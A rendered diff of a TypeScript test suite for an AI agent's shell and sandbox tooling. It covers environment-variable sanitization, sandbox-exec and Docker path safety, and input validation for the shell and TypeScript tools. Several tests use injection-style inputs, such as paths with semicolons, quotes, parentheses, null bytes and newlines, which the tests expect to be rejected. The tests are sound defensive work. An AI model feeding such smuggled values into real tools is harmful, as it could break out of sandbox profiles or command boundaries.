expect(env.PATH).toBe('/usr/bin');
|
|
400
|
+
expect(env.TERM).toBe('xterm-256color');
|
|
401
|
+
});
|
|
402
|
+
|
|
403
|
+
test('strips non-allowlisted variables', () => {
|
|
404
|
+
// Set some variables that are NOT on the safe list
|
|
405
|
+
const unsafeKeys = ['MY_CUSTOM_KEY', 'SOME_TOKEN', 'DB_CONNECTION'];
|
|
406
|
+
for (const key of unsafeKeys) {
|
|
407
|
+
process.env[key] = 'test-value';
|
|
408
|
+
}
|
|
409
|
+
|
|
410
|
+
const env = buildSanitizedEnv();
|
|
411
|
+
for (const key of unsafeKeys) {
|
|
412
|
+
expect(key in env).toBe(false);
|
|
413
|
+
delete process.env[key];
|
|
414
|
+
}
|
|
415
|
+
});
|
|
416
|
+
|
|
417
|
+
test('omits undefined safe variables', () => {
|
|
418
|
+
delete process.env.GPG_TTY;
|
|
419
|
+
delete process.env.SSH_AGENT_PID;
|
|
420
|
+
delete process.env.DISPLAY;
|
|
421
|
+
|
|
422
|
+
const env = buildSanitizedEnv();
|
|
423
|
+
expect('GPG_TTY' in env).toBe(false);
|
|
424
|
+
expect('SSH_AGENT_PID' in env).toBe(false);
|
|
425
|
+
expect('DISPLAY' in env).toBe(false);
|
|
426
|
+
});
|
|
427
|
+
|
|
428
|
+
test('includes SSH_AUTH_SOCK when present', () => {
|
|
429
|
+
process.env.SSH_AUTH_SOCK = '/tmp/ssh-agent.sock';
|
|
430
|
+
const env = buildSanitizedEnv();
|
|
431
|
+
expect(env.SSH_AUTH_SOCK).toBe('/tmp/ssh-agent.sock');
|
|
432
|
+
});
|
|
433
|
+
|
|
434
|
+
test('includes locale variables', () => {
|
|
435
|
+
process.env.LANG = 'en_US.UTF-8';
|
|
436
|
+
process.env.LC_ALL = 'C';
|
|
437
|
+
process.env.LC_CTYPE = 'UTF-8';
|
|
438
|
+
|
|
439
|
+
const env = buildSanitizedEnv();
|
|
440
|
+
expect(env.LANG).toBe('en_US.UTF-8');
|
|
441
|
+
expect(env.LC_ALL).toBe('C');
|
|
442
|
+
expect(env.LC_CTYPE).toBe('UTF-8');
|
|
443
|
+
});
|
|
444
|
+
|
|
445
|
+
test('result is a plain object with no prototype-inherited secrets', () => {
|
|
446
|
+
const env = buildSanitizedEnv();
|
|
447
|
+
const keys = Object.keys(env);
|
|
448
|
+
const safeKeys = [
|
|
449
|
+
'PATH', 'HOME', 'TERM', 'LANG', 'EDITOR', 'SHELL', 'USER', 'TMPDIR',
|
|
450
|
+
'LC_ALL', 'LC_CTYPE', 'XDG_RUNTIME_DIR', 'DISPLAY', 'COLORTERM',
|
|
451
|
+
'TERM_PROGRAM', 'SSH_AUTH_SOCK', 'SSH_AGENT_PID', 'GPG_TTY', 'GNUPGHOME',
|
|
452
|
+
];
|
|
453
|
+
for (const key of keys) {
|
|
454
|
+
expect(safeKeys).toContain(key);
|
|
455
|
+
}
|
|
456
|
+
});
|
|
457
|
+
});
|
|
458
|
+
|
|
459
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
460
|
+
// 3. Sandbox wrapCommand
|
|
461
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
462
|
+
|
|
463
|
+
describe('wrapCommand', () => {
|
|
464
|
+
const disabledConfig: SandboxConfig = {
|
|
465
|
+
enabled: false,
|
|
466
|
+
backend: 'native',
|
|
467
|
+
docker: {
|
|
468
|
+
image: 'vellum-sandbox:latest',
|
|
469
|
+
shell: 'bash',
|
|
470
|
+
cpus: 1,
|
|
471
|
+
memoryMb: 512,
|
|
472
|
+
pidsLimit: 256,
|
|
473
|
+
network: 'none',
|
|
474
|
+
},
|
|
475
|
+
};
|
|
476
|
+
|
|
477
|
+
test('disabled sandbox returns plain bash invocation', () => {
|
|
478
|
+
const result = wrapCommand('echo hello', '/tmp', disabledConfig);
|
|
479
|
+
expect(result.command).toBe('bash');
|
|
480
|
+
expect(result.args).toEqual(['-c', '--', 'echo hello']);
|
|
481
|
+
expect(result.sandboxed).toBe(false);
|
|
482
|
+
});
|
|
483
|
+
|
|
484
|
+
test('disabled sandbox preserves command verbatim', () => {
|
|
485
|
+
const cmd = 'ls -la /foo && echo "done"';
|
|
486
|
+
const result = wrapCommand(cmd, '/tmp', disabledConfig);
|
|
487
|
+
expect(result.args[2]).toBe(cmd);
|
|
488
|
+
});
|
|
489
|
+
|
|
490
|
+
test('disabled sandbox works with special characters in command', () => {
|
|
491
|
+
const cmd = "echo 'hello world' | grep 'hello'";
|
|
492
|
+
const result = wrapCommand(cmd, '/tmp', disabledConfig);
|
|
493
|
+
expect(result.args[2]).toBe(cmd);
|
|
494
|
+
expect(result.sandboxed).toBe(false);
|
|
495
|
+
});
|
|
496
|
+
});
|
|
497
|
+
|
|
498
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
499
|
+
// 4. Native sandbox backend — path safety
|
|
500
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
501
|
+
|
|
502
|
+
describe('Native sandbox backend', () => {
|
|
503
|
+
// We test NativeBackend directly rather than through wrapCommand to avoid
|
|
504
|
+
// platform-dependent sandbox-exec/bwrap availability.
|
|
505
|
+
let NativeBackend: any;
|
|
506
|
+
|
|
507
|
+
beforeEach(async () => {
|
|
508
|
+
const mod = await import('../tools/terminal/backends/native.js');
|
|
509
|
+
NativeBackend = mod.NativeBackend;
|
|
510
|
+
});
|
|
511
|
+
|
|
512
|
+
if (process.platform === 'darwin') {
|
|
513
|
+
test('wraps command with sandbox-exec on macOS', () => {
|
|
514
|
+
const backend = new NativeBackend();
|
|
515
|
+
const result = backend.wrap('echo hello', '/tmp');
|
|
516
|
+
expect(result.command).toBe('sandbox-exec');
|
|
517
|
+
expect(result.args[0]).toBe('-f');
|
|
518
|
+
// Profile path is the second arg
|
|
519
|
+
expect(result.args[1]).toMatch(/sandbox-profile-.*\.sb$/);
|
|
520
|
+
expect(result.args).toContain('bash');
|
|
521
|
+
expect(result.args).toContain('-c');
|
|
522
|
+
expect(result.args).toContain('--');
|
|
523
|
+
expect(result.args[result.args.length - 1]).toBe('echo hello');
|
|
524
|
+
expect(result.sandboxed).toBe(true);
|
|
525
|
+
});
|
|
526
|
+
|
|
527
|
+
test('rejects working dir with SBPL metacharacters', () => {
|
|
528
|
+
const backend = new NativeBackend();
|
|
529
|
+
expect(() => backend.wrap('echo hi', '/tmp/foo"bar')).toThrow(ToolError);
|
|
530
|
+
expect(() => backend.wrap('echo hi', '/tmp/foo(bar')).toThrow(ToolError);
|
|
531
|
+
expect(() => backend.wrap('echo hi', '/tmp/foo;bar')).toThrow(ToolError);
|
|
532
|
+
expect(() => backend.wrap('echo hi', '/tmp/foo\\bar')).toThrow(ToolError);
|
|
533
|
+
});
|
|
534
|
+
|
|
535
|
+
test('accepts working dir with safe special characters', () => {
|
|
536
|
+
// Spaces, dots, hyphens, underscores are fine
|
|
537
|
+
const backend = new NativeBackend();
|
|
538
|
+
const result = backend.wrap('ls', '/tmp/my-dir_name.2024');
|
|
539
|
+
expect(result.sandboxed).toBe(true);
|
|
540
|
+
});
|
|
541
|
+
}
|
|
542
|
+
});
|
|
543
|
+
|
|
544
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
545
|
+
// 5. Docker sandbox backend
|
|
546
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
547
|
+
|
|
548
|
+
describe('Docker sandbox backend', () => {
|
|
549
|
+
let DockerBackend: any;
|
|
550
|
+
let _resetDockerChecks: any;
|
|
551
|
+
|
|
552
|
+
const sandboxDir = join(testTmpDir, 'docker-sandbox');
|
|
553
|
+
|
|
554
|
+
beforeEach(async () => {
|
|
555
|
+
mkdirSync(sandboxDir, { recursive: true });
|
|
556
|
+
const mod = await import('../tools/terminal/backends/docker.js');
|
|
557
|
+
DockerBackend = mod.DockerBackend;
|
|
558
|
+
_resetDockerChecks = mod._resetDockerChecks;
|
|
559
|
+
_resetDockerChecks();
|
|
560
|
+
});
|
|
561
|
+
|
|
562
|
+
afterEach(() => {
|
|
563
|
+
try { rmSync(sandboxDir, { recursive: true, force: true }); } catch {}
|
|
564
|
+
});
|
|
565
|
+
|
|
566
|
+
test('constructor resolves symlinks in sandbox root', () => {
|
|
567
|
+
const realDir = join(testTmpDir, 'docker-real');
|
|
568
|
+
const linkDir = join(testTmpDir, 'docker-link');
|
|
569
|
+
mkdirSync(realDir, { recursive: true });
|
|
570
|
+
try {
|
|
571
|
+
symlinkSync(realDir, linkDir);
|
|
572
|
+
// Construct backend with the symlink — it should resolve to the real path.
|
|
573
|
+
const backend = new DockerBackend(linkDir, undefined, 1000, 1000);
|
|
574
|
+
// We can't inspect private fields directly, but wrapping will fail at
|
|
575
|
+
// preflight checks (Docker not available) — this tests that constructor
|
|
576
|
+
// does not throw on a valid symlinked path.
|
|
577
|
+
expect(backend).toBeDefined();
|
|
578
|
+
} finally {
|
|
579
|
+
try { rmSync(linkDir); } catch {}
|
|
580
|
+
try { rmSync(realDir, { recursive: true, force: true }); } catch {}
|
|
581
|
+
}
|
|
582
|
+
});
|
|
583
|
+
|
|
584
|
+
test('constructor rejects sandbox root with null bytes', () => {
|
|
585
|
+
// realpathSync throws TypeError before validatePathSafety can run
|
|
586
|
+
expect(() => new DockerBackend('/tmp/foo\0bar', undefined, 1000, 1000)).toThrow();
|
|
587
|
+
});
|
|
588
|
+
|
|
589
|
+
test('constructor rejects sandbox root with newlines', () => {
|
|
590
|
+
// Create a real directory with a newline in its name so realpathSync
|
|
591
|
+
// succeeds and the rejection comes from validatePathSafety, not ENOENT.
|
|
592
|
+
const nlDir = join(testTmpDir, 'has\nnewline');
|
|
593
|
+
mkdirSync(nlDir, { recursive: true });
|
|
594
|
+
try {
|
|
595
|
+
expect(() => new DockerBackend(nlDir, undefined, 1000, 1000)).toThrow(ToolError);
|
|
596
|
+
} finally {
|
|
597
|
+
try { rmSync(nlDir, { recursive: true, force: true }); } catch {}
|
|
598
|
+
}
|
|
599
|
+
});
|
|
600
|
+
|
|
601
|
+
test('constructor rejects sandbox root with carriage returns', () => {
|
|
602
|
+
// Create a real directory with a carriage return in its name so
|
|
603
|
+
// realpathSync succeeds and validatePathSafety is what rejects it.
|
|
604
|
+
const crDir = join(testTmpDir, 'has\rreturn');
|
|
605
|
+
mkdirSync(crDir, { recursive: true });
|
|
606
|
+
try {
|
|
607
|
+
expect(() => new DockerBackend(crDir, undefined, 1000, 1000)).toThrow(ToolError);
|
|
608
|
+
} finally {
|
|
609
|
+
try { rmSync(crDir, { recursive: true, force: true }); } catch {}
|
|
610
|
+
}
|
|
611
|
+
});
|
|
612
|
+
|
|
613
|
+
test('validates path safety after resolving symlinks', () => {
|
|
614
|
+
// Create a directory with a comma in the name to test validatePathSafety.
|
|
615
|
+
// On most filesystems this is allowed, so validatePathSafety should catch it.
|
|
616
|
+
const commaDir = join(testTmpDir, 'has,comma');
|
|
617
|
+
mkdirSync(commaDir, { recursive: true });
|
|
618
|
+
try {
|
|
619
|
+
expect(() => new DockerBackend(commaDir, undefined, 1000, 1000)).toThrow(ToolError);
|
|
620
|
+
} finally {
|
|
621
|
+
try { rmSync(commaDir, { recursive: true, force: true }); } catch {}
|
|
622
|
+
}
|
|
623
|
+
});
|
|
624
|
+
});
|
|
625
|
+
|
|
626
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
627
|
+
// 6. Shell tool — input validation
|
|
628
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
629
|
+
|
|
630
|
+
describe('Shell tool input validation', () => {
|
|
631
|
+
let shellTool: any;
|
|
632
|
+
|
|
633
|
+
beforeEach(async () => {
|
|
634
|
+
const mod = await import('../tools/terminal/shell.js');
|
|
635
|
+
shellTool = mod.shellTool;
|
|
636
|
+
});
|
|
637
|
+
|
|
638
|
+
const baseContext = {
|
|
639
|
+
workingDir: testTmpDir,
|
|
640
|
+
conversationId: 'test-conv-1',
|
|
641
|
+
onOutput: () => {},
|
|
642
|
+
};
|
|
643
|
+
|
|
644
|
+
test('rejects empty command', async () => {
|
|
645
|
+
const result = await shellTool.execute({ command: '', reason: 'test' }, baseContext);
|
|
646
|
+
expect(result.isError).toBe(true);
|
|
647
|
+
expect(result.content).toContain('command is required');
|
|
648
|
+
});
|
|
649
|
+
|
|
650
|
+
test('rejects non-string command', async () => {
|
|
651
|
+
const result = await shellTool.execute({ command: 123, reason: 'test' }, baseContext);
|
|
652
|
+
expect(result.isError).toBe(true);
|
|
653
|
+
expect(result.content).toContain('command is required');
|
|
654
|
+
});
|
|
655
|
+
|
|
656
|
+
test('rejects command with null bytes', async () => {
|
|
657
|
+
const result = await shellTool.execute(
|
|
658
|
+
{ command: 'echo hello\0world', reason: 'test' },
|
|
659
|
+
baseContext,
|
|
660
|
+
);
|
|
661
|
+
expect(result.isError).toBe(true);
|
|
662
|
+
expect(result.content).toContain('null bytes');
|
|
663
|
+
});
|
|
664
|
+
|
|
665
|
+
test('rejects missing command', async () => {
|
|
666
|
+
const result = await shellTool.execute({ reason: 'test' }, baseContext);
|
|
667
|
+
expect(result.isError).toBe(true);
|
|
668
|
+
expect(result.content).toContain('command is required');
|
|
669
|
+
});
|
|
670
|
+
|
|
671
|
+
test('executes simple command successfully', async () => {
|
|
672
|
+
const result = await shellTool.execute(
|
|
673
|
+
{ command: 'echo test_output_12345', reason: 'testing' },
|
|
674
|
+
baseContext,
|
|
675
|
+
);
|
|
676
|
+
expect(result.isError).toBe(false);
|
|
677
|
+
expect(result.content).toContain('test_output_12345');
|
|
678
|
+
});
|
|
679
|
+
|
|
680
|
+
test('returns error for failed command', async () => {
|
|
681
|
+
const result = await shellTool.execute(
|
|
682
|
+
{ command: 'false', reason: 'testing failure' },
|
|
683
|
+
baseContext,
|
|
684
|
+
);
|
|
685
|
+
expect(result.isError).toBe(true);
|
|
686
|
+
});
|
|
687
|
+
|
|
688
|
+
test('default network mode is off', async () => {
|
|
689
|
+
// When network_mode is not specified, it should default to 'off'.
|
|
690
|
+
// Verify by checking that the proxy session is never started — the
|
|
691
|
+
// observable effect of network_mode defaulting to 'off'.
|
|
692
|
+
proxyGetOrStartSession.mockClear();
|
|
693
|
+
const result = await shellTool.execute(
|
|
694
|
+
{ command: 'echo network_default', reason: 'testing' },
|
|
695
|
+
baseContext,
|
|
696
|
+
);
|
|
697
|
+
expect(result.isError).toBe(false);
|
|
698
|
+
expect(proxyGetOrStartSession).not.toHaveBeenCalled();
|
|
699
|
+
});
|
|
700
|
+
|
|
701
|
+
test('tool definition includes required schema fields', () => {
|
|
702
|
+
const def = shellTool.getDefinition();
|
|
703
|
+
expect(def.name).toBe('bash');
|
|
704
|
+
expect(def.input_schema.required).toContain('command');
|
|
705
|
+
expect(def.input_schema.required).toContain('reason');
|
|
706
|
+
expect(def.input_schema.properties.command).toBeDefined();
|
|
707
|
+
expect(def.input_schema.properties.timeout_seconds).toBeDefined();
|
|
708
|
+
expect(def.input_schema.properties.network_mode).toBeDefined();
|
|
709
|
+
expect(def.input_schema.properties.credential_ids).toBeDefined();
|
|
710
|
+
});
|
|
711
|
+
});
|
|
712
|
+
|
|
713
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
714
|
+
// 7. Shell output formatting
|
|
715
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
716
|
+
|
|
717
|
+
describe('formatShellOutput', () => {
|
|
718
|
+
let formatShellOutput: any;
|
|
719
|
+
|
|
720
|
+
beforeEach(async () => {
|
|
721
|
+
const mod = await import('../tools/shared/shell-output.js');
|
|
722
|
+
formatShellOutput = mod.formatShellOutput;
|
|
723
|
+
});
|
|
724
|
+
|
|
725
|
+
test('successful command with output', () => {
|
|
726
|
+
const result = formatShellOutput('hello world', '', 0, false, 120);
|
|
727
|
+
expect(result.content).toBe('hello world');
|
|
728
|
+
expect(result.isError).toBe(false);
|
|
729
|
+
expect(result.status).toBeUndefined();
|
|
730
|
+
});
|
|
731
|
+
|
|
732
|
+
test('successful command with no output shows completion tag', () => {
|
|
733
|
+
const result = formatShellOutput('', '', 0, false, 120);
|
|
734
|
+
expect(result.content).toBe('<command_completed />');
|
|
735
|
+
expect(result.isError).toBe(false);
|
|
736
|
+
});
|
|
737
|
+
|
|
738
|
+
test('failed command with no output shows exit code tag', () => {
|
|
739
|
+
const result = formatShellOutput('', '', 1, false, 120);
|
|
740
|
+
expect(result.content).toBe('<command_exit code="1" />');
|
|
741
|
+
expect(result.isError).toBe(true);
|
|
742
|
+
});
|
|
743
|
+
|
|
744
|
+
test('failed command with output includes exit code in status', () => {
|
|
745
|
+
const result = formatShellOutput('some output', 'some error', 1, false, 120);
|
|
746
|
+
expect(result.content).toContain('some output');
|
|
747
|
+
expect(result.content).toContain('some error');
|
|
748
|
+
expect(result.isError).toBe(true);
|
|
749
|
+
expect(result.status).toContain('<command_exit code="1" />');
|
|
750
|
+
});
|
|
751
|
+
|
|
752
|
+
test('timed out command includes timeout tag', () => {
|
|
753
|
+
const result = formatShellOutput('partial output', '', null, true, 30);
|
|
754
|
+
expect(result.content).toContain('<command_timeout seconds="30" />');
|
|
755
|
+
expect(result.isError).toBe(true);
|
|
756
|
+
expect(result.status).toContain('<command_timeout seconds="30" />');
|
|
757
|
+
});
|
|
758
|
+
|
|
759
|
+
test('combines stderr with stdout', () => {
|
|
760
|
+
const result = formatShellOutput('stdout', 'stderr', 0, false, 120);
|
|
761
|
+
expect(result.content).toContain('stdout');
|
|
762
|
+
expect(result.content).toContain('stderr');
|
|
763
|
+
});
|
|
764
|
+
|
|
765
|
+
test('truncates very long output', () => {
|
|
766
|
+
const longOutput = 'x'.repeat(60_000);
|
|
767
|
+
const result = formatShellOutput(longOutput, '', 0, false, 120);
|
|
768
|
+
expect(result.content).toContain('<output_truncated limit="50K" />');
|
|
769
|
+
expect(result.content.length).toBeLessThan(60_000);
|
|
770
|
+
});
|
|
771
|
+
});
|
|
772
|
+
|
|
773
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
774
|
+
// 8. Evaluate TypeScript tool — input validation
|
|
775
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
776
|
+
|
|
777
|
+
describe('EvaluateTypescriptTool input validation', () => {
|
|
778
|
+
let evalTool: any;
|
|
779
|
+
|
|
780
|
+
beforeEach(async () => {
|
|
781
|
+
const mod = await import('../tools/terminal/evaluate-typescript.js');
|
|
782
|
+
evalTool = mod.evaluateTypescriptTool;
|
|
783
|
+
});
|
|
784
|
+
|
|
785
|
+
const baseContext = {
|
|
786
|
+
workingDir: testTmpDir,
|
|
787
|
+
conversationId: 'test-conv-1',
|
|
788
|
+
onOutput: () => {},
|
|
789
|
+
};
|
|
790
|
+
|
|
791
|
+
test('rejects empty code', async () => {
|
|
792
|
+
const result = await evalTool.execute({ code: '' }, baseContext);
|
|
793
|
+
expect(result.isError).toBe(true);
|
|
794
|
+
expect(result.content).toContain('code is required');
|
|
795
|
+
});
|
|
796
|
+
|
|
797
|
+
test('rejects non-string code', async () => {
|
|
798
|
+
const result = await evalTool.execute({ code: 123 }, baseContext);
|
|
799
|
+
expect(result.isError).toBe(true);
|
|
800
|
+
expect(result.content).toContain('code is required');
|
|
801
|
+
});
|
|
802
|
+
|
|
803
|
+
test('rejects oversized code', async () => {
|
|
804
|
+
const result = await evalTool.execute(
|
|
805
|
+
{ code: 'x'.repeat(100_001) },
|
|
806
|
+
baseContext,
|
|
807
|
+
);
|
|
808
|
+
expect(result.isError).toBe(true);
|
|
809
|
+
expect(result.content).toContain('exceeds maximum size');
|
|
810
|
+
});
|
|
811
|
+
|
|
812
|
+
test('rejects invalid JSON in mock_input_json', async () => {
|
|
813
|
+
const result = await evalTool.execute(
|
|
814
|
+
{ code: 'export default (x: unknown) => x;', mock_input_json: '{invalid' },
|
|
815
|
+
baseContext,
|
|
816
|
+
);
|
|
817
|
+
expect(result.isError).toBe(true);
|
|
818
|
+
expect(result.content).toContain('valid JSON');
|
|
819
|
+
});
|
|
820
|
+
|
|
821
|
+
test('rejects oversized mock_input_json', async () => {
|
|
822
|
+
const result = await evalTool.execute(
|
|
823
|
+
{ code: 'export default (x: unknown) => x;', mock_input_json: '"' + 'x'.repeat(100_001) + '"' },
|
|
824
|
+
baseContext,
|
|
825
|
+
);
|
|
826
|
+
expect(result.isError).toBe(true);
|
|
827
|
+
expect(result.content).toContain('exceeds maximum size');
|
|
828
|
+
});
|
|
829
|
+
|
|
830
|
+
test('tool definition has correct name and schema', () => {
|
|
831
|
+
const def = evalTool.getDefinition();
|
|
832
|
+
expect(def.name).toBe('evaluate_typescript_code');
|
|
833
|
+
expect(def.input_schema.required).toContain('code');
|
|
834
|
+
expect(def.input_schema.properties.code).toBeDefined();
|
|
835
|
+
expect(def.input_schema.properties.mock_input_json).toBeDefined();
|
|
836
|
+
expect(def.input_schema.properties.timeout_seconds).toBeDefined();
|
|
837
|
+
expect(def.input_schema.properties.filename).toBeDefined();
|
|
838
|
+
expect(def.input_schema.properties.entrypoint).toBeDefined();
|
|
839
|
+
});
|
|
840
|
+
});
|